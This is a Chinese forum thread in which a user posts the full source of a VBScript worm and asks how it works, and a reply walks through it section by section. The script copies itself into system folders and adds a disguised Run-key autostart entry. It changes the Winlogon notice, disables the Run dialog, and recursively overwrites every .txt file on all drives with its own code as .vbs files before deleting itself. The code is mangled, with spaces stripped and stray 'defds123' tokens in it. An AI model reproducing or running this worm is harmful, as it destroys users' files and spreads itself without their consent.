vbs文件,运行了之后,所有的txt文件都被加上后缀名.vbs,内容同原一个vbs文件一样。求其运行原理。

[复制链接]
查看11 | 回复2 | 2011-8-19 02:19:33 | 显示全部楼层 |阅读模式
vbs文件内容
\'Ycosxhack[Y.X.H]
onerrorresumenext
setfso=createobject(\"scripting.filesystemobject\")
randomize
name=int(rnd*100000001)
temp=name
fori=0to2
setdir=fso.getspecialfolder(i)
fso.getfile(wscript.scriptfullname).copy(dirdefds123\"\\\"defds123namedefds123\".vbs\")
next
\'--------------------------------------------------------
setreg=createobject(\"wscript.shell\")
reg.regwrite\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ctfmon\",\"c:\\windows\\system32\\\"defds123tempdefds123\".vbs\"
reg.regwrite\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption\",\"hack\"
reg.regwrite\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText\",\"sorry!!!\"
reg.regwrite\"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun\",1,\"REG_DWORD\"
\'--------------------------------------------------------
setself=fso.opentextfile(wscript.scriptfullname,1)
cover=self.readall
self.close
setdrvs=fso.drives
foreachdrvindrvs
ifdrv.drivetype=1ordrv.drivetype=2ordrv.drivetype=3ordrv.drivetype=4then
\'wscript.echodrv
scan(drv)
endif
next
setselfkill=fso.getfile(wscript.scriptfullname)
selfkill.delete(true)
\'--------------------------------------------------------
subscan(folder_)
onerrorresumenext
setfolder_=fso.getfolder(folder_)
setfiles=folder_.files
foreachfileinfiles
ext=fso.getextensionname(file)
ext=lcase(ext)
ifext=\"txt\"then
setap=fso.opentextfile(file.path,2,true)
ap.writecover
ap.close
fso.getfile(file.path).copy(file.pathdefds123\".vbs\")
file.delete(true)
endif
next
setsubfolders=folder_.subfolders
foreachsubfolderinsubfolders
scan(subfolder)
next
endsub
回复

使用道具 举报

千问 | 2011-8-19 02:19:33 | 显示全部楼层
以\'--------------------------------------------------------为界
第一个以上:劝随机数.vbs”作为文件名,并复制自身到其他目录
第二个以上:创建开机启动项和修改几个注册表的值
第三个以上:读取自己文件的内容,调用scan()函数,之后删除自身
第三个以下:scan()函数,这是一个递归函数,全盘扫描你的电脑,若后缀名为txt就打开,然后用自身的内容覆盖
回复

使用道具 举报

千问 | 2011-8-19 02:19:33 | 显示全部楼层
可以加点字详细么
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

主题

0

回帖

4882万

积分

论坛元老

Rank: 8Rank: 8

积分
48824836
热门排行